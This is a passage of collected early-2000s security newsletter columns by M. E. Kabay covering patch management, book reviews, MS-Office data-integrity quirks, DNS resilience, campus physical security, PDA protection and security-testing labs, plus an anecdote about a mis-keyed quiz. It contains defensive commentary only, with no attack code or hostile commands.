* Systems Administrators: F. We all need to take personal responsibility for the security of our networks. The underlying vulnerability for Slammer was announced on July 24, 2002 by Microsoft bulletin MS02-039 and given the maximum severity rating. History tells us that nearly all wide-scale attacks are based upon known vulnerabilities. Microsoft released 72 security bulletins in 2002, not a tiny number, but not exactly the population of Hong Kong either. A systems administrator reading MS02-039 should have seen the hallmarks of a potential problem: specifically, the vulnerability could be automatically exploited without any local interaction. However, most chose not to apply the patch.

Clearly, what is needed is sophisticated patch management technologies to aid organizations in managing updates, which will only increase in frequency. Among the key needs:

* Scalability to accurately identify vulnerabilities in large networks;
* Regression testing and the ability to pilot patches;
* Wisdom to know which patches should be installed and when;
* Ability to simply roll back patches that have unintended side effects;

* Work-around information for vulnerabilities lacking a suitable patch;
* Ability to integrate patch management into enterprise systems-management consoles.

Everyone makes the same comment: Patching is difficult. Rarely does anyone explore why. What's the main reason, the specific detailed single reason why patches do not get installed? Because, for most patches applied, the system must be rebooted. When you reboot a computer, a hundred different things can happen and only one of them is good. The Reboot Dilemma is the undoing of many a systems administrator. Anyone who has worked in the business for more than a year has their own personal horror story of an upgrade gone awry, and a two-hour project turning into a lost weekend. We need to figure out how to install service packs and hotfixes dynamically – without requiring a reboot. If any of the nascent patch management companies could figure this out, I'll stand in line for their IPO.

Network Security for Dummies

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As I mentioned in a column a few weeks ago, my friend and colleague Chey Cobb, CISSP has just published a new book, _Network Security for Dummies_. Chey has a long career in information security and is also notorious for driving race cars in cross-country races through the Australian outback (see http://www.cheycobb.com/australia.html).

The text follows the familiar pattern of the "Dummies" series: clear writing, emphasis on fundamentals, and specific recommendations. It's int

Part I, "The Path to Network Security," starts with some background information on threats and vulnerabilities, assessment tools and methods, and characteristics of network attackers. Chey's eight preliminary principles of security are a good start (p. 30):

* Use strong passwords;
* Always use anti-virus software;
* Always change default configurations;
* Don't run services that you don't need;
* Back up early and often;
* Protect against surges and losses;
* Know whom you can trust.

Part I continues with guidelines for risk assessment and policy development. Part II continues risk assessment with cost-benefit analysis and legal liability issues. For those building new networks, Chapter 7, "Building a Secure Network from Scratch," introduces good advice on network topology, firewalls, and application-level security.

Part III discusses anti-virus software, firewalls, intrusion detection systems and access controls. Part IV looks at operating-system specific security, with chapters about Unix, Windows, and Macintosh systems. It continues with procedures for software configuration controls (patching), wireless networks and e-commerce considerations.

Part V continues the life-cycle approach to security logically with coverage of emergency response teams, disaster recovery planning, and computer forensics.

Part VI, "The Part of Tens," summarizes the rest of the book with ten-point checklists (that sometimes have more than ten points). These lists serve as convenient reminders and can help organizations perform regular quality-control security audits.

All in all, I like Chey's book, and I think my opinion is only marginally swayed by my long friendship with her and her equally talented husband Stephen. Way to go, Chey!

Pfleegers' New Edition

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the great names in computer security for many years is Charles P. Pfleeger. Author of the _Security in Computing_ textbooks of 1989 and 1996, he and Shari Lawrence Pfleeger have published the third edition of this classic text, highly suitable for anyone interested in an overview of technical information security and a good choice for a one-semester university introductory course to INFOSEC in a computer science or computer engineering program.

The new edition is even juicier than the previous ones, with more information on encryption and network security as well as coverage of important new attack modes (e.g., recent denial-of-service methods) and exploits (e.g., buffer overflows). Illustrations and examples often focus on recent events such as the Code Red infestation of 2001. As always, the writing is fresh and engaging. Diagrams are clear, frequent and valuable. Each chapter ends with sections particularly suitable for university students: "Terms and Concepts," "Where the Field is Headed," "To Learn More," and "Exercises."

The Pfleegers present their introduction in an interesting sequence. Chapter 1 is a brief overview of fundamentals, threats, vulnerabilities, and general principles of defense. I do wish they had not used the old C-I-A (confidentiality, integrity, availability) model to define information security; as regular readers will know, I strongly urge everyone to get used to including the rest of the Parkerian Hexad – control or possession, authenticity, and utility – as essential components of information security.

Chapter 2 is a very good 60-page introduction to cryptography; Chapter 3 introduces program security and includes quality assurance, viruses, trap doors, salamis, and so on. Chapters 4 and 5, which take up over 120 pages, provide a thorough introduction to operating systems security. Chapter 6 continues the discussion with a nice discussion of database security. Chapter 7, on "Security in Networks," is 122 pages all by itself. It could serve as a good monograph on various aspects of the field for beginners.

On the management level, the authors touch on security administration (Chapter 8) and "Legal, Privacy, and Ethical Issues in Computer Security" (Chapter 8). I was particularly pleased to see their treatment of ethical decision making; their case studies would make excellent fodder for vigorous discussions in class.

The book ends (Chapter 10) with a continuation of the cryptography materials. The index is well put together and will be useful for anyone using the text as a reference book. Kudos to the Pfleegers for a job well done.

Invisible Gremlins (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In English and Irish tradition, one could propitiate elves and sprites and gremlins by feeding them savory foods such as milk and cookies to avoid their tricks. Sometimes I think those little critters have found new homes in our most-used software.

Many people know that Microsoft Office products can change input data unexpectedly. Sometimes these changes were frankly bugs; for example, one of the most serious silent transformations used to occur (doesn't any more) when trying to copy and paste data from one MS-Excel spreadsheet workbook into another: the copied data would be truncated to whatever the number of visible decimal places was in the source document. Thus if 1.23456 were shown as 1.23 in the original cell, then copying it and pasting it into a different file would result in the number 1.230000. Again, this is no longer the case if you are up to date in your patches.

But in today's column, I want to talk about features, not bugs. As readers know, I define security to involve protection of confidentiality, control, integrity, authenticity, availability and utility of information. Within this framework, a poorly designed or poorly documented or poorly understood feature can be as bad as a bug from a security standpoint.

Let's go back to MS-Excel. In a couple of issues of the RISKS Forum Digest last year (21.94 and 2.95), two correspondents reported mysterious changes to their data in MS-Office applications. For example, both found that grades they were entering into spreadsheets were being modified (e.g., A became A-); one found that incorrect spellings were being forced, including into e-mail addresses. One complained about mysterious lines and bullets appearing in his text.

Everything the correspondents described is controlled through options available through the Tools menu item in Office products. Both correspondents illustrate the dangers resulting from the nefarious combination of

* bloatware with

* poor user interface design and

* inadequate training.

In my next column, I'll talk about the details of these issues.

* * *

Invisible Gremlins (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first article in this short series, I introduced some peculiar data changes that are common with MS-Office products. I attributed these glitches to the combination of bloatware, poor user interface, and inadequate training.

* * *

First, let's talk about bloatware. In 1983, my WordPerfect 4.1 executable took up KB of space. Today, my WordPerfect 9 installation weighed in at 80 MB. Studies of how ordinary people actually use office software suggests that most people use only a few of the vast array of functions available in modern products. I remember office products in the early 1980s that allowed a user to select a subset of functions and to link the modules into the final runtime package to reduce memory usage and increase execution speed; today, such thinking seems absurd to the manufacturers. However, increasing the complexity of a word processor so that it becomes almost as complex as a highly sophisticated page composition package may not be serving the interests of the majority of its users. Microsoft seems to have silently attempted to recognize the likelihood that many users don't use most of the available functions with the astoundingly poor design called "Personalized Menus" available on Windows ME and later versions of Windows. This ergonomic abomination hides infrequently-used menu items – thus destroying one of the most important features of a good graphical user interface: consistency. The unfortunate victims of this feature, which is enabled by default, seem constantly to be scanning their pull-down menus wondering where their functions are today. When they click on the double down arrows to see the entire menus, the order of commands shifts yet again, forcing them to scan the lists all over again. In contrast, with a stable menu, a user becomes used to clicking in a specific place for a specific command and no longer has to scan the list at all. By the way, another abomination is that the personalized menus are controlled in the START | Settings | Taskbar and Start Menu location even though they apply to all menus throughout the operating system. Many users I have spoken to had no idea how to turn this "feature" off so they could learn how to use their menus properly.

Another fascinating example of faulty reasoning is the design decision in MS-Windows and MS-Office that assumes that a keyboard determines the language you are writing in. Thus when I plug my external French-Canadian keyboard into my portable computer (which came with a US English keyboard), MS-Office switches the language of any document I am writing to – surprise! – Candiand French. In the middle of an English document – no wait, in the middle of an English sentence. Without asking. And without any option to turn off this helpful automated feature. At least there's an indication in the status bar that shows the language; however, the burst of "spelling mistakes" coupled with the use of << marks instead of quotation marks is usually enough to remind me to reset the language back to English manually.

A major failing of the user interface on Office products is that, unlike the case with the language setting, they typically do _not_ provide any visual indicator of the status of various "helpful" features such as the "AutoCorrect" and "Enable Autocomplete for Cell Values" functions. A

user unaware of the existence of these functions has no clue where to look for the mysterious source of inexplicable data transformations, let alone any idea of how to turn them off. It follows that without adequate training in how the autocorrection features work, users become victims of the programmers' assumptions and lose control over the integrity of their own data.

A quick note on confidentiality: some users are unaware than leaving FAST SAVE enabled in options keeps a record of many versions of their document available for curious eyes to examine; others don't understand the significance of TRACK CHANGES and cheerfully leave embarrassing parenthetical comments and original text in place that they think they have deleted. All of these blunders are the result of inadequate training.

One of the correspondents in RISKS mentioned that on his university's student-lab computers, all these auto-correction features were turned on, so if you wanted to control them, you'd have to turn them off every single time you sat down at a computer there. I think that system administrators should set all autocorrection and autoformatting features OFF by default when delivering systems to novice users and should provide training to allow controlled reactivation of those features that the users feel will be helpful and controllable.

It will be better than trying to control those gremlins by leaving plates of milk and cookies out on top of the computer cabinets.

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Resilient Infrastructure – The DNS (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

My friend and colleagues Robert L. Gezelter, CDP, has contributed some interesting articles on the fundamental resilience of Internet infrastructure. This is the first of two articles looking at the Domain Name System.

* * *

Since 9/11, there has been a renewed concern about the robustness of network infrastructure. Advanced technologies have often been in the forefront, including fault-tolerant computing, fail-safe systems, and non-stop operations. Discussions along these lines focus on making infrastructure robust, meaning hard to damage.

Although robustness is important, perhaps "resilience", the ability to accept distortion under stress while continuing to support load, is a more fitting description of the most crucial aspects of planning for damage contingencies than robustness (which implies a philosophy of preventing distortion or shearing and subsequently failing under stress).

When an event occurs, the mission is maintaining ongoing operation without apparent interruption. Continuation of operations and containment of damage are the philosophical, policy, and strategic goals; preferably with no perceptible user impairment. As I noted in Chapter 22 of the _Computer Security Handbook, 4th Edition_, the goal is to "avoid the phone."

When managing the response to an event, user-reported difficulties indicate incomplete or insufficient resilience. The first reports of infrastructure problems should come from internal monitoring systems; not a flurry of telephone calls from users. This is particularly true in Internet electronic commerce applications, where the majority of users are outsiders, likely to defect to other providers or suppliers and with a justifiable tendency towards going to some other organization, rather than reporting a problem and working with an organization to fix it. In some situations, the first indication of a problem may be an instantaneously inexplicable drop in page views or customer transactions.

The Internet Domain Name System (DNS), is responsible for providing the translation between Internet names (e.g. rlgsc.com) and the IP addresses associated with the name. If the name cannot be translated to an IP address the site cannot be accessed without knowing the exact IP address.

In the case of DNS, the most publicized serious concerns revolve around the root name servers, which are admittedly a government and large-scale carrier concern; well outside the scope and authority of virtually all Internet users. Less well publicized however, are issues at the firm or enterprise-level, which are well within the control of an individual enterprise. Specifically, the organization and provisioning of the name servers for an enterprise's domains are well within the control of the individual enterprise, and are often neglected.

One of the most common misconceptions is that your organization's DNS resolution is the responsibility of your Internet Service Provider (ISP). However, although almost every ISP provides DNS services for its customers, the degree of flexibility, resilience, and transparency varies greatly. Some ISPs will act as authoritative secondary name servers, downloading the actual DNS zones from a user maintained DNS server; some will not. Some ISPs will provide inverse DNS services on the same basis, under RFCs 1034 and 2317, with the master data being provided by the user; some will not. Some ISPs have DNS servers at multiple sites directly connected to different backbone providers to provide resilience; some do not. And finally, the degree to which these issues are visible to the customer varies, as do the consequences for an ISP failing to provide contractually required (or for that matter, advertised) degrees of resilience. The archetypal parachute packer's joke, "The parachute has a money back guarantee; if it fails, bring it back" applies; the guarantee is fine, but can you ever collect on the tangible and intangible damages of the failure?

In the end, the resilience of an organization's domains devolves to the steps that the organization is willing to undertake to ensure that its domain data remain available to the Internet. This assurance takes several forms:

* Multiple levels of (at least semi-independent) DNS servers
* Monitoring to ensure that DNS results are available to the world
* Geographic diversity of DNS servers
* Routing diversity of DNS servers
* Carrier diversity of DNS servers
* Sufficient TTL (Time to Live) to ensure adequate reaction time in the event of a problem.

* * *

In the next article, Bob Gezelter looks at practical advice on keeping your DNS services running.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Resilient Infrastructure – The DNS (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous article in this short series, Robert Gezelter, CDP, has been discussing the importance of the Domain Name System (DNS) in ensuring continued service for one's Internet domain and Web site.

* * *

The most rudimentary step for continued functioning of one's Internet site or Web site is that there should always be at least a distinct primary and secondary DNS server of the domain. For a production domain, this means that the minimum two name servers should be distinct systems located in different locations. This answers the common question "Can I use multi-hosting to get the two name servers I require for my domain?" The answer is a resounding "NO." The reason for the two-server rule (which is implemented with varying degrees of thoroughness by different domain registrars) is to ensure that there are at least two discrete sources for DNS data.

This author has seen organizations that were able to circumvent their domain registrar's safety checks by using two DNS names that resolved to the same address. However, when a cable fault disconnected such a DNS-hosting organization from the Internet, the data from their single DNS server became unavailable. This resulted in a multi-hour outage at the WWW servers located at a service provider whose name was supposed to be resolved by the unreachable DNS server. Switching to a different DNS server would have required a change to the data dispensed by the root name servers, which are updated on, at best, a daily basis (the propagation delay between an update made at a zone's registrar and the root servers depends upon the day of the week and the registrar). Therefore the disappearance of the DNS service was not correctable in a timely manner and the Web site was down until cable fault was repaired.

Production DNS servers should be geographically dispersed. A pair of workstations located next to each other, plugged into the same power-strip is a fool's dispersion; all but the most trivial incidents will result in both servers becoming unavailable. Achieving geographic diversity is neither difficult nor expensive. It does not require resorting to a DNS server provided by a separate hosting service or by an ISP (although a hosting- or ISP-provided DNS server is certainly a possible alternative). A field office or sister organization can easily provide the few cubic feet and kilobytes per hour (yes, per hour) required to domicile an alternate DNS server. The system can be managed remotely. Reciprocal arrangements between organizations (I will host a secondary on my name server if you host my secondary on yours) are even simpler. Providing a separate DSL circuit for the use of the alternate DNS server is much cheaper to an enterprise than losing its name-resolution services (i.e., effectively having one's entire domain disconnected from the Internet).

If a site is a serious production site, many concurrent users, more extensive monitoring is both justified and prudent. Each link of the chain connecting customers to the site should be monitored on some basis sufficient to alert the organization to a problem in a timely manner. In the case of DNS servers, regular verification that the name servers are online and responding

properly is a prudent precaution.

Diversity of carriers, geographic location, and routing are important steps to ensuring that single-source errors (personnel accidents, natural or man-made disasters, or organizational errors) do effectively terminate your domain's DNS services and impair the overall Internet accessibility of domain members.

In summary, the analogy to a fabric or web is both simple and straightforward: an individual thread or moderate number of threads in a fabric may break, without compromising the ability of the fabric as a whole to perform its function. In addition, breaks in the fabric that can be detected without becoming apparent to customers can inherently be corrected without customer impact. Dispersion of functionality is far cheaper, and is far more resilient than attempts to harden facilities beyond the possibility of damage.

Physical Threats to the Information Infrastructure (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this occasional series, I am showcasing some of the best short essays submitted by students in information assurance and cybercrime courses and programs at Norwich University. John Orlando, PhD, is the Administrative Director of the MSIA (Master of Science in Information Assurance) program at Norwich; in compliance with the policy instituted by Dean Fred Snow, he is participating in the MSIA program as a student. He submitted this work as one of his weekly essays in November. The rest of this column and the next is a slightly edited version of his report on physical security at Norwich University. I hope that readers will be able to apply his findings to their own institutions as an example of what to look for in securing facilities.

* * *

When one thinks of threats to an information infrastructure, one tends to conjure up images of electronic assaults, such as virus and denial-of-service attacks. But the greatest threats to an electronic infrastructure come from more mundane sources. Water, fire, or theft cause far more damage than electronic attack, but we think about them less because physical disasters receive far less media publicity than the more exotic electronic assault.

In this essay I examine the protections against physical threats to Norwich University's information infrastructure. I will divide the threats into two categories, natural and man-made, and will examine each in turn. Not all threats are equally likely, or equally harmful and thus my analysis will include a consideration of the relative risks or each threat, the potential harm involved, and the protections currently in place against the risk. As usual, I will end with some recommendations.

Natural Threats

In terms of potential damage, floods certainly present a serious danger to an information infrastructure. Water short circuits operating computer systems, and damages hardware. Owing to its mountainous geography, Vermont faces a greater threat of flood than many other regions, but Norwich University sits atop a hill high above the nearest water source, the Rock River. It would take a flood of biblical proportions for water levels to reach the IT unit. A more likely scenario finds high water taking out telephone and power lines. As mentioned in a prior section, there are power and telephone backups in place to handle such a scenario.

Wildfires can also have a catastrophic impact on computer systems if they severely damage the building in which such systems are housed. Though Norwich University is in a forested region, Vermont's type of foliage, along with its less than dry climate, make wildfires far less of a threat than in other regions. It's been quite a while since Vermont has witnessed a serious forest fire. Moreover, Norwich University it fairly well insulated from the surrounding forest by large fields, and thus the threat of wildfire is quite low. As with floods, fires present a greater danger to the power and phone lines that feed Norwich University's IT systems than the systems themselves.

In areas of strong seismic activity, earthquakes can present a considerable threat to IT systems. Unlike wildfires and floods, where the building in which the IT system is housed protects that system, it is precisely the surrounding structure that presents a threat with earthquakes. Earthquakes in Vermont are rare, but not unheard of. As recently as June, 2002, a 4.9 earthquake rocked the Champlain Valley, causing some minor damage. However, it would take a much stronger earthquake to threaten the fairly sturdy building in which Norwich University's IT system sits, one of a magnitude which has probably never been recorded in the state.

Temperature presents another threat to information systems. Computer performance tends to deteriorate above certain temperatures, and high humidity can cause corrosion to circuits and other hardware. While Vermont is not known for its oppressive heat, temperatures can rise to the 90s with high humidity on occasion, just enough to place certain sensitive computer systems in jeopardy. In response to the danger, the computer room at Norwich University is climate controlled with three compressors, each of which can mediate the temperature and humidity in the room by itself. Thus, there is considerable redundancy in the HVAC system. Even if the HVAC system did fail, the IT department can simply shut down its computer systems to reduce harm to the components.

* * *

In the next article, Dr Orlando looks at man-made threats to the physical infrastructure.

* * *

Physical Threats to the Information Infrastructure (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this occasional series, I am showcasing some of the best short essays submitted by students in information assurance and cybercrime courses and programs at Norwich University. John Orlando, PhD, is the Administrative Director of the MSIA (Master of Science in Information Assurance) program at Norwich; in compliance with the policy instituted by Dean Fred Snow, he is participating in the MSIA program as a student. This column is the continuation of a slightly edited version of his report on physical security at Norwich University.

* * *

Man-Made, Malicious, Threats

Intruders have been known to attempt to gain access to a computer system to steal hardware or to vandalize the facilities and equipment. In response, the University's IT department has adopted a strict policy of not allowing non-IT personnel into the computer center unescorted. To prevent either accidental or malicious harm cleaning people working after hours, all cleaning is done during business hours. Moreover, doors are equipped with alarms and rooms equipped with motion detectors to prevent after hours intrusion. Not even the university's security personnel have access to the secured areas.

Only the CIO and the IT manager have keys allowing after-hours access to central computing facilities.

The computer labs that are used primarily by students are somewhat more vulnerable to intrusion because lab assistants are not always on hand. Theft would seem the primary motive for intrusion, although someone might also attempt to tamper with a computer in order to gather passwords by using a Trojan horse that simulates the logon dialog. Thus, each lab computer's CPU is locked to the table that holds it; most desktop computers used by faculty and staff are similarly secured. Most important, the location of the lock also makes it impossible to access the hard drive without opening, or breaking, the lock. This strategy does not absolutely prevent tampering, but it does make it riskier for the intruder and it provides a physical warning that a system may have been modified without authorization.

Recommendations

The IT department at the university has taken many precautions against physical threats to the main computer center, and has placed some protections on the desktop terminals used around the campus. The main vulnerabilities to the University's infrastructure would appear to lie outside of the computing center. As the IT department is quick to point out, each building on campus has a central box through with all electronic communications are routed. These boxes are normally found in storage rooms or closets. There is no special security around these boxes that would prevent someone from plugging into the lines and intercepting communication. Even worse, a number of people have keys to these rooms, such as maintenance workers and even

regular employees. For instance, many staff members have keys providing them with access to the storage room in Jackman Hall (the main administration building) where the communication box sits. In principle, someone with access to these rooms could install a small device that snoops network traffic and transmits it to a remote location, such as a van packed just off of campus. In light of this danger, the IT department is currently lobbying for funding to install locked screens around these boxes.

PalmOS PDA Defense

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

PDAs come in a variety of forms, but the most popular are palm-sized computers made by Palm, Sony, Psion, HP and Compaq. These devices typically synchronize with workstations. Recent models have megabytes of memory and can carry thousands of address entries, documents, spreadsheets and even PowerPoint presentations. Some people have wireless connections to the Internet and use simplified browsers and e-mail clients on their hand-held computers.

I'm sure that readers are aware of the dangers posed by PDAs that contain confidential information. Users who synchronize their PDAs with corporate workstations almost certainly have confidential data in their pocket. Many people store their passwords for other systems on their PDA. These little computers can serve as inadvertent tunnels into secured networks because they are typically connected through PCs behind the firewall.

Security included with PDAs is weak and programmatic attacks are easy to create. For the Palm operating system (PalmOS), for example, the first Palm OS Trojan was discovered in August 2000: a supposed Nintendo Gameboy emulator wiped all applications on infected Palm PDAs. Then in March 2001, news reports indicated that any devices using the PalmOS have no effective security despite the password function. Apparently developer tools supplied by Palm make it very easy to write a back door conduit into the supposedly locked data.

In April 2002, Kaspersky Lab released Kaspersky Security for Palm OS, which it says is a full-scale defense system for handhelds and mobile devices operating on Palm OS. According to the company, the suite is comprised of two modules; one that controls access to a device using a reliable password structure on the system level and another that controls authorized access on the application level using encrypted data.

A few months ago, my old Palm PDA finally died and I bought a new Palm m515 unit. Adam Kennedy, one of my information assurance students at Norwich University, wrote an excellent term paper on protecting PDAs and mentioned another high-security product for the Palm OS. I looked into his suggestion and downloaded and installed PDA Defense from Asynchrony Solutions < http://www.pdadefense.com >. I think readers with their own Palm PDAs to protect will want to look into it as well as into Kaspersky's product, and so will any network administrator whose users have Palm PDAs that plug into corporate systems.

(By the way, if you don't think your users are plugging their PDAs into your corporate systems, you'd better do an audit.)

Because I have not seen Kaspersky's product and cannot claim to have performed an evaluation of PDA Defense, please don't take what follows as an endorsement. I'm just reporting what I've learned by using the latter product.

PDA Defense offers 64-bit, 128-bit or 512-bit Blowfish encryption for all data stored on the PDA. Records flagged as "private" can either be masked or hidden entirely at the user's choice.

Password entry is masked to prevent shoulder-surfing; the RAM buffer is wiped immediately upon login and the password itself is stored as an MD5 one-way hash to make dictionary cracking more difficult.

The bit-wiping bomb defeats brute-force attacks by letting the user limit the number of attempts to unlock the device. When someone exceeds the maximum number of attempts, the bomb feature bit-wipes all RAM databases without a user prompt. Now, this does constitute a potential channel for a denial of service, but the user can restore the data from his or her PC if the device is recovered or replaced with a new unit. It is even possible to set a time-sensitive bit-wiping bomb that prevents unauthorized access to data if the PDA if it is lost or stolen by allowing the user to set a required time for synchronization with the PC; miss the deadline and all the data are wiped (this is the kind of feature one would want to be very careful with). The PDA is protected after a reset, requiring password entry for access; another option automatic locks the unit every time the power is turned off (e.g., three minutes after last use). While access is disabled, so are all data transfers such as HotSync and infrared links. It is possible to put the product into stealth mode so that it emulates the default security features and suppresses all signs of its presence unless the correct password is entered (thus potentially misleading an attacker into believing that they have in fact successfully taken control of the PDA even though they haven't).

The enterprise version of the product (which I have not seen) apparently offers administrators great flexibility in applying encryption and security restrictions to selected applications and records as well as setting password global policies (e.g., length, complexity, longevity) and tailoring policies to individual users.

I hope that readers will look into PDA security products for their own little computers and protect their own data and their network security with equally powerful and convenient security.

Security-Testing Laboratories

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Testing security is very difficult. It's not enough to try a few known input conditions on a single installation, fix the problems that are found, and then declare the product secure. Security testing must include challenges to a full range of installations and configurations of a product to give the testers more than a superficial impression of the product's adequacy. In this article, I mention a few laboratories engaged in security testing.

* * *

ICSA Labs

When I worked at ICSA Labs throughout the 1990s, one of our most valuable efforts was the construction of an extensive laboratory for testing security products as part of the certification process. ICSA Labs today has a massive installation of hundreds of computers and network devices in many rooms in a small town in Pennsylvania. Staff there continue to subject security products of many kinds to rigorous testing to establish whether the products comply with ICSA Labs standards for certification. George Japak < mailto:gjapak@trusecure.com > is VP of the Technology Research Group at TruSecure and is a primary contact for further information on the work of ICSA Labs.

NIST CSRC

The National Institute of Standards and Technology (NIST) runs the Computer Security Resource Center (CSRC) as part of the Computer Security Division (CSD). Vendors will find a wide range of resources at the CSRC Web site. In particular, their security testing program is described as follows (bullets added): “Focus is on working with government and industry to establish more secure systems and networks by developing, managing and promoting security assessment tools, techniques, services, and supporting programs for testing, evaluation and validation; and addresses such areas as:

* development and maintenance of security metrics, security evaluation criteria and evaluation methodologies, tests and test methods;

* security-specific criteria for laboratory accreditation; guidance on the use of evaluated and tested products;

* research to address assurance methods and system-wide security and assessment methodologies;

* security protocol validation activities; and

* appropriate coordination with assessment-related activities of voluntary industry standards

bodies and other assessment regimes.

The Security Testing and Metrics Group is principally responsible for this focus area."

DeepNines

Another lab that has recently been announced is run by DeepNines Technologies. According their press release in November 2002, the Sleuth9(TM) Cyber Attack Simulation Center in Dallas is focused on their Sleuth9 Security System, a real-time defensive system described in the release as follows: ". . . an intelligent attack mitigation and intrusion prevention solution that instantly detects and automatically prevents cyber attacks from entering or leaving a network. Sleuth9 resides inline, in front of the router and protects organizations from DoS, DDoS, Port Scans, Trojan horses, propagating worms and viruses, as well as other cyber attacks."

Sue Dark, chief executive officer at DeepNines, said that the new laboratory, "gives companies the ability to configure the security software to their specifications, create live cyber attacks with numerous variations of each attack and then analyze the results."

For more information about DeepNines's laboratory, contact Jim O'Gara < mailto: jogara@deepnines.com >.

Norwich University InfoWar Lab

At Norwich University, my colleague Jason Wallace has been building an interesting cyberwar laboratory for use in data communications, information assurance and computer forensics courses. The InfoWar Laboratory consists physically of three rooms:

* Two contain rack-mounted network equipment such as routers and firewalls and have several workstations where users can engage in learning about appropriate defensive responses to various attack methods;

* The room in the middle serves as a representation of the Internet itself, including such services as DNS servers.

The Norwich lab thus allows a simulation of ordinary communications via the Internet and using the World Wide Web; however, the entire system is insulated from the real Internet so that no harm can be done from our systems to the outside. The systems are equally insulated against attack from the outside world (there is in fact no external access at all to these systems). Readers should note that our entire focus at Norwich is on defensive information assurance and information warfare; attacks are part of the curriculum only as part of this defensive orientation.

Students will be using these labs to practice for the military information warfare games that pit teams from several military academies and colleges against each other and against attacks from crack Red Teams from the National Security Agency. The whole exercise is an exciting and educational experience for all the students and faculty involved. The systems are already proving valuable for extensive computer forensics laboratory classes that are useful for computer science and criminal justice students interested in contributing to the fight against computer

crime. They will also be used in the final hands-on exercises for graduating students in the MSIA (Master of Science in Information Assurance) program at Norwich.

The Norwich InfoWar Lab will also be useful for researchers in the new Norwich University Center for the Study of Counter-Terrorism and CyberCrime under the direction of colleagues COL Tom Aldrich < mailto:taldrich@norwich.edu >, who also welcomes questions from vendors interested in collaboration.

Finally, in addition to supporting students and researchers, Norwich's lab is available under contract for use by vendors seeking a platform for security testing or interested in contributing hardware and software for our students to learn about. Interested vendors and donors can contact our VP of Technology & Strategic Partnerships, Phil Susmann < mailto:susmann@norwich.edu >.

Self-Inflicted April Fool Joke

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As most readers know, I am the Program Director for the Master of Science in Information Assurance (MSIA) at Norwich University. Although I have turned over responsibility for teaching the curriculum to highly qualified instructors such as Peter Stephenson, David Bouvin, and Gary Bridges, and am working with curriculum developers Stephen and Chey Cobb, I still develop the quizzes and exams.

Last week my first quiz in the MSIA 1.3 seminar (Technical Defenses) blew up in my face. As usual, I had included some comic relief in the multiple-choice selections just to avoid boring the students (I detest multiple-choice exams, but they are useful in encouraging review and they're quick for the students). You can imagine my surprise when the first students to take the quiz reported in shock that the "correct" answers were preposterous. Here are some of my favorites with the INCORRECT "correct" answers marked with an asterisk (you can figure out the REAL correct answers yourselves):

5. When an attacker obtains a copy of the encrypted password file and uses a password-cracking program on it to find valid passwords, this attack is an example of
*a) a capture-replay attack
b) a hash-brown attack
c) password sniffing
d) an offline dictionary attack
e) None of the above

8. How can an organization best discourage sharing of passwords?
*a) Electrocute the second concurrent user of a password.
b) Establish effective methods of delegation for selected privileges of one user to another.
c) Establish monetary prizes for all employees who report cases of password sharing.
d) Fire every employee who uses someone else's password
e) None of the above

15. When a workstation connected to a LAN reads all frames or packets going past it even though they are not addressed to it, the workstation is in
a) promiscuous mode
b) prostitute mode
*c) slut mode
d) spy mode
e) None of the above

[Students pointed out that the choices in question 15 could easily be offensive to many people, so I did change the language to neutral terms for the corrected quiz.]

18 A model for secure password-based authentication that eliminates the risk of capture-playback attacks is

a) zero knowledge-proof passwords
b) zero-knowledge password proofs
*c) zero-password knowledge proofs
d) zero-proof password knowledge
e) None of the above

How did this mixup happen? I easily traced it to two problems, one systemic and one technical. The most important problem – and one that will be corrected henceforth – is that I failed to impose quality assurance steps on the production of the quiz. The minor problem occurred because of an interesting aspect of MS-Excel worksheets: the persistence of formatting after the delete command. Here's what happened.

In creating the quiz, I go through our teaching materials and write down questions and answers in a spreadsheet, marking the correct answers in boldface. Then I copy the questions and paste them into another worksheet and add a randomizer to be able to scramble the order of the questions. Unfortunately, when I pasted the questions into the randomizing worksheet, I pasted the _values_ of all the cells, completely forgetting that I had to keep the boldface formatting to track the correct answers. Because the apparently empty worksheet had already been used for a previous quiz, the boldface cells from the previous quiz's correct answers bolded the wrong answers in the new quiz – and I didn't notice.

When I sent the materials to our Webmaster to put the quiz up on our Prometheus teaching system, he did wonder about the "electrocute the second concurrent user" answer but, not being a security guy, simply installed the quiz without comment.

So there's the joke on me: with all my whining about quality assurance and the importance of checking one's work and dumping on other people for putting mistakes into production because they don't use checklists, here I am, red-faced with both embarrassment and amusement at my own blooper.

Well, the corrected quiz is back up with all the correct answers in place (and a few questionable bits removed) and the students should be able to manage without further shocks to their delicate systems.

In the meantime, I'm working on a checklist.

Managing VAS & IDS: Fundamentals

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This article is the first in a short series examining vulnerability assessment systems (VAS) and intrusion detection systems (IDS). The series will examine fundamentals, deployment, analysis, and response strategies centering on these technologies. I am particularly indebted to the work of Becky Bace in this field and refer readers to a couple of her publications in the references below.

* * *

